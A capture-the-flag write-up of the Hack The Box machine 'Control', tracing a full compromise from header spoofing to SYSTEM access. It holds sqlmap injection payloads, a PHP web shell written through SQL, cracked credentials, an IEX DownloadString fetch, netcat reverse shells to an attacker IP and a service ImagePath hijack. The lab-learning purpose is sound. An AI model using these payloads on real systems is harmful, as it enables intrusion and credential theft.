HTB - Windows Control
HTB - Windows Control
We have to start this box by bypassing IP access restriction spoofing an IP with X-Forwarded-Host
, giving us access to a web app. This admin panel is vulnerable to a SQL injection we could use to dump the database and retrieved some account and then read and write files to the filesystem. With the write access we could write a web shell to execute PHP commands and later run Powershell commands to login as the user.
To elevate our privileges we could abuse too permissive permission on a service to modify it configuration and restart the service, starting our reverse shell as nt authority
nodody - user
Checking nmap out
$ nmap -sS -sV -sC -O -p- -vvv -T4 --reason -oN 10.10.10.167.txt 10.10.10.167
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Fidelity
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
3306/tcp open mysql? syn-ack ttl 127
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, NULL, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
|_ Host '10.10.14.17' is not allowed to connect to this MariaDB server
| mysql-info:
|_ MySQL Error: Host '10.10.14.17' is not allowed to connect to this MariaDB server
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
In my opinion they are two interesting port, 80
and 3306
which is the default port for http server
andmysql database
.
admin panel access
However we can’t query the mysql
server for the moment.
$ mysql -h 10.10.10.167
ERROR 1130 (HY000): Host '10.10.14.17' is not allowed to connect to this MariaDB server
On the web server side, we could identify a nice endpoint - the others pages are just static cyberbullshit - but we can’t access to it directly.
$ curl http://10.10.10.167/admin.php
Access Denied: Header Missing. Please ensure you go through the proxy to access this page
Looking at the source code of the main page, I saw the following comment :
$ curl http://10.10.10.167/
<!DOCTYPE html>
<html lang="en">
<head>
<title>Fidelity</title>
<meta charset="utf-8">
<script type="text/javascript" src="assets/js/functions.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
<link rel="stylesheet" href="assets/css/main.css" />
<noscript>
<link rel="stylesheet" href="assets/css/noscript.css" /></noscript>
</head>
<body class="is-preload landing">
<div id="page-wrapper">
<!-- To Do:
- Import Products
- Link to new payment system
- Enable SSL (Certificates location \\192.168.4.28\myfiles)
<!-- Header -->
Without hesitation it indicates us to provide a HTTP header like X-Forwarded-For
or X-Forwarded-Host
with the following value 192.168.4.28
.
$ curl http://10.10.10.167/admin.php -H "X-Forwarded-For: 192.168.4.28"
<!DOCTYPE html>
<html lang="en">
<head>
<title>Fidelity</title>
<meta charset="utf-8">
<script type="text/javascript" src="assets/js/functions.js"></script>
<script type="text/javascript" src="assets/js/checkValues.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
<link rel="stylesheet" href="assets/css/main.css" />
<noscript>
<link rel="stylesheet" href="assets/css/noscript.css" />
</noscript>
</head>
Bingo, we have access to the admin page. In this page we can edit item like for a product management web app, searching for product, modifying it prices and so on.
SQL Injection
Looking at the HTTP request with Burp, it really look likes SQLi vulnerable queries ..
POST /search_products.php HTTP/1.1
Host: 10.10.10.167
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://10.10.10.167
Connection: close
Referer: http://10.10.10.167/admin.php
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 192.168.4.28
productName=Cloud
We can easily load it in sqlmap
if the -r options indicates a file not found, git clone it from Github official repo.
$ sqlmap -r search.sqlmap -p productName --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.4.1.4#dev}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 23:28:42 /2020-02-18/
[23:28:42] [INFO] parsing HTTP request from 'search.sqlmap'
[23:28:42] [INFO] resuming back-end DBMS 'mysql'
[23:28:42] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: productName (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: productName=-5126' OR 1420=1420#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: productName=Cloud' AND (SELECT 6487 FROM(SELECT COUNT(*),CONCAT(0x71627a7671,(SELECT (ELT(6487=6487,1))),0x7176717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ZlxZ
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: productName=Cloud';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: productName=Cloud' AND (SELECT 2423 FROM (SELECT(SLEEP(5)))ShPo)-- XLjf
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: productName=Cloud' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71627a7671,0x706567716b6669686a636b505a584d6a6c667247506d6d49556c506d446565665571525079427068,0x7176717671),NULL,NULL#
---
[23:28:43] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[23:28:43] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] mysql
[*] warehouse
[23:28:43] [INFO] fetched data logged to text files under '/home/switch/.sqlmap/output/10.10.10.167'
[*] ending @ 23:28:43 /2020-02-18/
So it’s vulnerable to union query
sql injection style.
I love the --sql-shell
option of sqlmap, it way faster when you know myql. As I always I use https://sqlwiki.netspi.com/attackQueries/informationGathering/#mysql to gather information from the db
sql-shell> SELECT @@version
[23:31:42] [INFO] fetching SQL SELECT statement query output: 'SELECT @@version'
SELECT @@version: '10.4.8-MariaDB'
sql-shell> SELECT user()
[23:31:47] [INFO] fetching SQL SELECT statement query output: 'SELECT user()'
SELECT user(): 'manager@localhost'
sql-shell> SELECT system_user()
[23:31:53] [INFO] fetching SQL SELECT statement query output: 'SELECT system_user()'
SELECT system_user(): 'manager@localhost'
sql-shell> SELECT user FROM mysql.user
[23:31:59] [INFO] fetching SQL SELECT statement query output: 'SELECT user FROM mysql.user'
SELECT user FROM mysql.user [3]:
[*] hector
[*] manager
[*] root
sql-shell> SELECT schema_name FROM information_schema.schemata
[23:32:07] [INFO] fetching SQL SELECT statement query output: 'SELECT schema_name FROM information_schema.schemata'
SELECT schema_name FROM information_schema.schemata [3]:
[*] information_schema
[*] mysql
[*] warehouse
sql-shell> SELECT host, user, password FROM mysql.user
[23:32:19] [INFO] fetching SQL SELECT statement query output: 'SELECT host, user, password FROM mysql.user'
SELECT host, user, password FROM mysql.user [6]:
[*] localhost, root, *0A4A5CAD344718DC418035A1F4D292BA603134D8
[*] fidelity, root, *0A4A5CAD344718DC418035A1F4D292BA603134D8
[*] 127.0.0.1, root, *0A4A5CAD344718DC418035A1F4D292BA603134D8
[*] ::1, root, *0A4A5CAD344718DC418035A1F4D292BA603134D8
[*] localhost, manager, *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
[*] localhost, hector, *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
sql-shell> SELECT @@datadir
[23:32:26] [INFO] fetching SQL SELECT statement query output: 'SELECT @@datadir'
SELECT @@datadir: 'C:\\MariaDB\\'
sql-shell> SELECT LOAD_FILE('c:\windows\system32\drivers\etc\hosts')
[23:32:50] [INFO] fetching SQL SELECT statement query output: 'SELECT LOAD_FILE('c:\windows\system32\drivers\etc\hosts')'
SELECT LOAD_FILE('c:\windows\system32\drivers\etc\hosts'): '# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n#\r\n# This file contains the mappings of IP addresses to host names. Each\r\n# entry should be kept on an individual line. The IP address should\r\n# be placed in the first column followed by the corresponding host name.\r\n# The IP address and the host name should be separated by at least one\r\n# space.\r\n#\r\n# Additionally, comments (such as these) may be inserted on individual\r\n# lines or following the machine name denoted by a '#' symbol.\r\n#\r\n# For example:\r\n#\r\n# 102.54.94.97 rhino.acme.com # source server\r\n# 38.25.63.10 x.acme.com # x client host\r\n\r\n# localhost name resolution is handled within DNS itself.\r\n#\t127.0.0.1 localhost\r\n#\t::1 localhost\r\n'
sql-shell>
Interesting, we have :
a list of user and it passwords
the location of the db on disk
we can read file on disk
As it can take time I directly tried to break the hashes. I didn’t know about this hash format but thanks to hashID
I could identify them quickly and get the associated john format
$ ./hashid.py -j
*0A4A5CAD344718DC418035A1F4D292BA603134D8
Analyzing '*0A4A5CAD344718DC418035A1F4D292BA603134D8'
[+] MySQL5.x [JtR Format: mysql-sha1]
[+] MySQL4.1 [JtR Format: mysql-sha1]
And firring john :
john --wordlist=/usr/share/wordlists/rockyou.txt --format=mysql-sha1 mysql_hash.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (mysql-sha1, MySQL 4.1+ [SHA1 128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, almost any other key for status
l33th4x0rhector (hector)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:01 DONE (2020-02-18 23:39) 0.6896g/s 9890Kp/s 9890Kc/s 24197KC/s *7¡Vamos!..Welcome123!
Use the "--show" option to display all of the cracked passwords reliably
Session completed
So now we have hector:l33th4x0rhector
!
web shell upload
I dumped the whole db but it was empty so I moved on other entry points. We can read file on disk so I tried to read the user.txt
flag but I couldn’t, the mariadb server running with a different user than Hector.
On mysql we can check if we have the permission to write on disk with following commands
sql-shell> select @@secure_file_priv;
select @@secure_file_priv: ' '
sql-shell> select @@global.secure_file_priv;
select @@global.secure_file_priv: ' '
If their content is empty it’s mean we can ! So I decided to grant myself a webshell. Usually the root of the IIS application is at c:/inetpub/wwwroot/
so I tried
sql-shell> SELECT "<pre><?php system($_GET['cmd']); ?></pre>" INTO OUTFILE 'c:/inetpub/wwwroot/7868768678.php'
SELECT "<pre><?php system($_GET['cmd']); ?></pre>" INTO OUTFILE 'c:/inetpub/wwwroot/7868768678.php': 'NULL'
and now testing if it was successfully written
Hell yeah we have a nice tiny webshell.
Idea I had which didn’t worked
smbrelay attack : https://sqlwiki.netspi.com/attackQueries/executingOSCommands/#mysql
https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/
I also tried to copy some exe from a smb server and start a bind/reverse shell but nothing worked at the moment. I made some mistakes and I realized later why.
IUSR - Hector
I used the same technic as on HTB - Sniper
with a python wrapper for Powershell. I wanted to run command as Hector using Invoke-Command
cmdlet.
from requests import get
from re import findall, DOTALL
from base64 import b64encode
url = "http://10.10.10.167/y.php?cmd=powershell.exe -encodedcommand {}"
payload = "$u = 'CONTROL\\hector';$p = convertto-securestring 'l33th4x0rhector' -asplaintext -force;$cred=new-object -typename System.Management.Automation.PSCredential -argumentlist $u,$p;Invoke-Command -ScriptBlock {{ powershell -encodedCommand {0} }} -Credential $cred -Computer localhost"
cmd = None
while cmd != "":
stage1 = payload.format(b64encode(input("> ").encode("UTF-16LE")).decode("utf-8"))
res = get(url.format(b64encode(stage1.encode("UTF-16LE")).decode("utf-8")))
out = findall(r"<pre>(.*)<\/pre>", res.text, DOTALL)[0]
print("\n" + out.replace("\r\n", "\n"))
Hosting a copy of nc64.exe
on a smb server I could copy it on the machine and run it to have a reverse shell.
$ rlwrap python poc.py
> .\nc64.exe 10.10.14.17 4444 -e powershell.exe
$ rlwrap nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.167 49940
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Hector\Documents> type ..\Desktop\user.txt
type ..\Desktop\user.txt
d8782dd01fb15b72c4b5ba77ef2d472b
PS C:\Users\Hector\Documents>
We are now the user Hector, looking for Admin rights !
user - administrator
This box was my first time using winpeas.exe
, it’s a enumeration script (or binary in this case) similar to LinEnum.sh
for Linux for the ones who knows. Here some snippets of it findings
[+] RDP Sessions(T1087&T1033)
SessID pSessionName pUserName pDomainName State SourceIP
1 Console Hector CONTROL Active
[+] Ever logged users(T1087&T1033)
[X] Exception: System.Management.ManagementException: Access denied
at System.Management.ThreadDispatch.Start()
at System.Management.ManagementScope.Initialize()
at System.Management.ManagementObjectSearcher.Initialize()
at System.Management.ManagementObjectSearcher.Get()
at winPEAS.UserInfo.GetEverLoggedUsers()
Not Found
[+] Looking for AutoLogon credentials(T1012)
Some AutoLogon credentials were found!!
DefaultDomainName : CONTROL
DefaultUserName : Hector
[+] Home folders found(T1087&T1083&T1033)
C:\Users\Administrator
C:\Users\All Users
C:\Users\Default
C:\Users\Default User
C:\Users\Hector
C:\Users\Public
[+] Password Policies(T1201)
[?] Check for a possible brute-force
Domain: Builtin
SID: S-1-5-32
MaxPasswordAge: 42.22:47:31.7437440
MinPasswordAge: 00:00:00
MinPasswordLength: 0
PasswordHistoryLength: 0
PasswordProperties: 0
=================================================================================================
Domain: CONTROL
SID: S-1-5-21-3271572904-80546332-2170161114
MaxPasswordAge: 42.22:47:31.7437440
MinPasswordAge: 00:00:00
MinPasswordLength: 0
PasswordHistoryLength: 0
PasswordProperties: 0
=================================================================================================
A file grabbed my attention at the end of the enumeration : C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
. It’s the win equivalent of the .bash_history
file. More information about can be found at https://0xdf.gitlab.io/2018/11/08/powershell-history-file.html and http://woshub.com/powershell-commands-history/
And it content :
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
information about windows services
Hector was looking up at the CurrentControlSet
key from the HKEY_LOCAL_MACHINE
hive which contains 6 others keys
Control :
windows configuration
Enum :
Hardware config
Hardware profiles :
Hardware profiles config
Policies
Services :
Windows services list
Software
The first command get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
will return information about these 6 keys for example :
Property : {}
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName : Services
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount : 667
View : Default
Handle : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount : 0
Name : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services
Now a bit more about HKLM\SYSTEM\CurrentControlSet\Services
.
The **HKLM* registry tree stores information about each service on the system. […]
From the Microsoft documentation. We can get information about a services with the Powershell command get-WmiObject win32_services
(but need some permissions)
PS C:\Users\switch\Documents\powershell_scripts> get-WmiObject win32_service | select name, state
name state
---- -----
agent_ovpnconnect Running
AJRouter Stopped
ALG Stopped
AppIDSvc Stopped
Appinfo Running
AppReadiness Stopped
AppXSvc Stopped
AudioEndpointBuilder Running
Audiosrv Running
autotimesvc Stopped
[...]
or get-service
but you need to know which service you want (getting all services require more permissions).
PS C:\Users\Hector\Documents> get-service wuauserv | format-list
get-service wuauserv | format-list
Name : wuauserv
DisplayName : Windows Update
Status : Stopped
DependentServices : {}
ServicesDependedOn : {rpcss}
CanPauseAndContinue : False
CanShutdown : False
CanStop : False
ServiceType : Win32ShareProcess
It gives information about the service once registered. As said before all services are described in HKLM\SYSTEM\CurrentControlSet\Services
so we can have more information about this services browsing it keys.
PS C:\Users\Hector\Documents> get-itemproperty HKLM:\System\CurrentControlSet\services\wuauserv
DependOnService : {rpcss}
Description : @%systemroot%\system32\wuaueng.dll,-106
DisplayName : @%systemroot%\system32\wuaueng.dll,-105
ErrorControl : 1
FailureActions : {128, 81, 1, 0...}
ImagePath : C:\Windows\system32\svchost.exe -k netsvcs -p
ObjectName : LocalSystem
RequiredPrivileges : {SeAuditPrivilege, SeCreateGlobalPrivilege, SeCreatePageFilePrivilege,
SeTcbPrivilege...}
ServiceSidType : 1
Start : 3
SvcMemHardLimitInMB : 246
SvcMemMidLimitInMB : 167
SvcMemSoftLimitInMB : 88
Type : 32
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlt\services\wuauserv
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControl
Set\services
PSChildName : wuauserv
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
There are many entry in this key but we will focus on the following:
ImagePath
: """ the binary which is launched by the services """ (not very accurate sorry)ObjectName
: the service account associated to the running service, hereLocalSystem
which isnt authority\system
PSChildName
: name of the service
So, this is where services are “stored” and how they are described. As every object on Windows they have ACL on it just to avoid that everybody change some services configuration or disable it. We can have theses information with the get-acl
Powershell function.
PS C:\Users\Hector\Documents> get-acl HKLM:\System\CurrentControlSet\services\wuauserv | format-list
Path : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\wuauserv
Owner : NT AUTHORITY\SYSTEM
Group : NT AUTHORITY\SYSTEM
Access : APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadKey
NT AUTHORITY\SYSTEM Allow FullControl
CREATOR OWNER Allow FullControl
NT AUTHORITY\Authenticated Users Allow ReadKey
NT AUTHORITY\SYSTEM Allow FullControl
CONTROL\Hector Allow FullControl
BUILTIN\Administrators Allow FullControl
Audit :
Sddl : O:SYG:SYD:AI(A;CIID;KR;;;AC)(A;ID;KA;;;SY)(A;CIIOID;KA;;;CO)(A;CIID;KR;;;AU)(A;CIIOID;KA;
;;SY)(A;CIID;KA;;;S-1-5-21-3271572904-80546332-2170161114-1000)(A;CIID;KA;;;BA)
It’s not very hard to understand, there is the owner and group owner of the key and the permission associated to the different users. FullControl
allow us to do whatever we want to this key, a bit like 7
in *nix system. In this case if we are NT AUTHORITY\SYSTEM
, CREATOR OWNER
, CONTROL\Hector
or BUILTIN\Administrators
we can do whatever we want to this key.
There is also permission on the service itself (and not it’s configuration) and we can check it with
$ sc.exe sdshow wuauserv
D:(A;;CCLCSWRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY
you may wont have the permission to get it ..
This strange string is a Security Description Definition Language
object, we can easily parse it with https://github.com/itsKindred/sdshow_parse
So every authenticated user can start this service but can’t stop it.
I didn’t find a very reliable way to know if we have the permission to start or stop a service so the best way is to try to start it then stop it.
Moreover if you script something which start every service and make a difference with it previous state you should consider that some service auto stop few second later so it’s very hard to have an accurate list of startable and stopable services.
unsecure service exploitation
As you have seen with the get-acl
command on the wuauserv
service CONTROL\Hecktor
has full access on it. It means we can modify each subkey in the registry for this service. Modifying each sub key means we can change the service configuration like the ImagePath
value which is the program launched when the service starts.
Some readings about unsecure services
:
- [https://medium.com/@shy327o/windows-privilege-escalation-insecure-service-1-ec4c428e4800](https://medium.com/@shy327o/windows-privilege-escalation-insecure-service-1-ec4c428e4800)
- https://gracefulsecurity.com/privesc-insecure-service-permissions/
- https://book.hacktricks.xyz/windows/windows-local-privilege-escalation
The first step is to find service where we have full control over it configuration in the registry and which is running as a more privileged user than us like nt authority\system
$items = get-itemproperty HKLM:\SYSTEM\CurrentControlSet\Services\* | where-object { $_.objectname -eq "localsystem" };
$names = $items.PSPath | foreach { $_.split("\")[-1] };
$services = $names | foreach { get-service $_ -erroraction silentlycontinue }
#Create Table object
$table = New-Object system.Data.DataTable "Unsecure Services"
#Define Columns
$col1 = New-Object system.Data.DataColumn "Service"
$col2 = New-Object system.Data.DataColumn "Status"
$col3 = New-Object system.Data.DataColumn "Owner"
#Add the Columns
$table.columns.add($col1)
$table.columns.add($col2)
$table.columns.add($col3)
$services | ForEach-Object {
$f = $_.name
$full_control = get-acl HKLM:\System\CurrentControlSet\services\$f | ? { $_.AccessToString -like "*Hector Allow FullControl*" }
#Create a row
$row = $table.NewRow()
#Enter data in the row
$row.Service = $_.name
$row.Status = $_.status
$row.Owner = $full_control.Owner
$table.Rows.Add($row)
}
#Display the table
$table | format-table -AutoSize
First we fetch all entry in the registry where ObjectName
is equal to localsystem
to have nt authority
rights, then we ensure they are services. And finally for each services found we check if Hector
has full control on it.
PS C:\Users\Hector\Documents> Invoke-Expression (New-Object Net.WebClient).DownloadString('http://10.10.14.22/test.ps1')
Service Status Owner
------- ------ -----
AppMgmt Stopped NT AUTHORITY\SYSTEM
AppVClient Stopped NT AUTHORITY\SYSTEM
BrokerInfrastructure Running NT AUTHORITY\SYSTEM
ClipSVC Running NT AUTHORITY\SYSTEM
ConsentUxUserSvc Stopped NT AUTHORITY\SYSTEM
DcomLaunch Running
DevicePickerUserSvc Stopped NT AUTHORITY\SYSTEM
DevicesFlowUserSvc Stopped NT AUTHORITY\SYSTEM
dmwappushservice Stopped NT AUTHORITY\SYSTEM
DsSvc Running NT AUTHORITY\SYSTEM
EFS Running NT AUTHORITY\SYSTEM
LSM Running NT AUTHORITY\SYSTEM
NetSetupSvc Stopped NT AUTHORITY\SYSTEM
NgcSvc Stopped NT AUTHORITY\SYSTEM
PimIndexMaintenanceSvc Stopped NT AUTHORITY\SYSTEM
PrintWorkflowUserSvc Stopped NT AUTHORITY\SYSTEM
RasAuto Stopped
RasMan Running
RemoteAccess Stopped
RSoPProv Stopped NT AUTHORITY\SYSTEM
SamSs Running
Schedule Running NT AUTHORITY\SYSTEM
seclogon Running NT AUTHORITY\SYSTEM
SecurityHealthService Running NT AUTHORITY\SYSTEM
SENS Running NT AUTHORITY\SYSTEM
SensorService Running NT AUTHORITY\SYSTEM
Spooler Running NT AUTHORITY\SYSTEM
SystemEventsBroker Running NT AUTHORITY\SYSTEM
UevAgentService Stopped NT AUTHORITY\SYSTEM
UnistoreSvc Stopped NT AUTHORITY\SYSTEM
UserDataSvc Stopped NT AUTHORITY\SYSTEM
UsoSvc Stopped NT AUTHORITY\SYSTEM
vds Stopped NT AUTHORITY\SYSTEM
WaaSMedicSvc Stopped NT AUTHORITY\SYSTEM
WinDefend Running NT AUTHORITY\SYSTEM
WpnUserService Stopped NT AUTHORITY\SYSTEM
wuauserv Stopped NT AUTHORITY\SYSTEM
We could also have used accesschk.exe
to find our permission on services or registry key but I wanted to script to lean
.\accesschk.exe "Hector" -kvuqsw hklm\System\CurrentControlSet\services
As it’s hard to find if we have stop or start permission over service I will use a service already stopped like wuauserv
. Now we have to modify the ImagePath
in the registry configuration
PS C:\Users\Hector\Documents> reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "cmd.exe /c C:\Users\Hector\Documents\nc64.exe 10.10.14.22 4446 -e Powershell.exe" /f
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "cmd.exe /c C:\Users\Hector\Documents\nc64.exe 10.10.14.22 4446 -e Powershell.exe" /f
The operation completed successfully.
PS C:\Users\Hector\Documents> sc.exe start wuauserv
sc.exe start wuauserv
or
sc config SERVICENAME binPath= "payload"
And without forgetting to open a netcat connexion on our machine.
$ rlwrap nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.10.167 49971
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32> systeminfo
systeminfo
Host Name: CONTROL
OS Name: Microsoft Windows Server 2019 Standard
And finally the root flag : 8f8613f5b4da391f36ef11def4cec1b1
This last part made me learn so much thing about windows, especially registry, dacl, powershell and services.
But powershell scripting is such a pain, ms docs are such a pain and everything is such a pain. I lost so much hair trying to understand every aspect of this priv esc .. But well was a nice trip in hell.
I promised will put more screenshots in the next posts ..